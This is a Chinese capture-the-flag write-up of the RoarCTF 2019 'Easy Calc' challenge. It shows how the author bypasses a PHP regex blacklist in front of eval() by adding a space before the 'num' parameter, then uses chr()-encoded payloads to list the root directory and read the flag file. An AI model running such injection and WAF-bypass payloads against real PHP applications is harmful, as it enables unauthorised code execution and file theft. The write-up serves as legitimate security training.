首页 > 技术文章 > 【php代码分析】[RoarCTF 2019]Easy Calc---php解析规则--day02

darkerg 2021-05-18 21:22 原文

一、界面

image
进入界面之后就是个计算框,啥都没有,看一下源代码。
image
image
提示有WAF,然后有一个新的页面calc.php。进去看一下。

二、cala.php分析

1、代码分析

image
总的来说就是get传num赋值给$str,看一下斜杠/拼接黑名单里的符号拼接/m,在不在传入的str中,如果不在就eval把字符串按照php代码执行。
其中正则匹配时候,\m多行查找
image
image

2、测试操作

calc.php? num=phpinfo()

注意在问号?和num之间有个空格。结果:
image

3、php解析规则

当php进行解析的时候,如果变量前面有空格,会去掉前面的空格再解析
而这里黑名单过滤,没有过滤这种情况,那么久可以构造一个查询语句
? num=1;var_dump(scandir(chr(47)))

这里使用char(47)来代替根目录\,绕过过滤。
image
scandir()
image
结果:
image
发现了有flagg,尝试读取。

? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

得到结果:
image

推荐阅读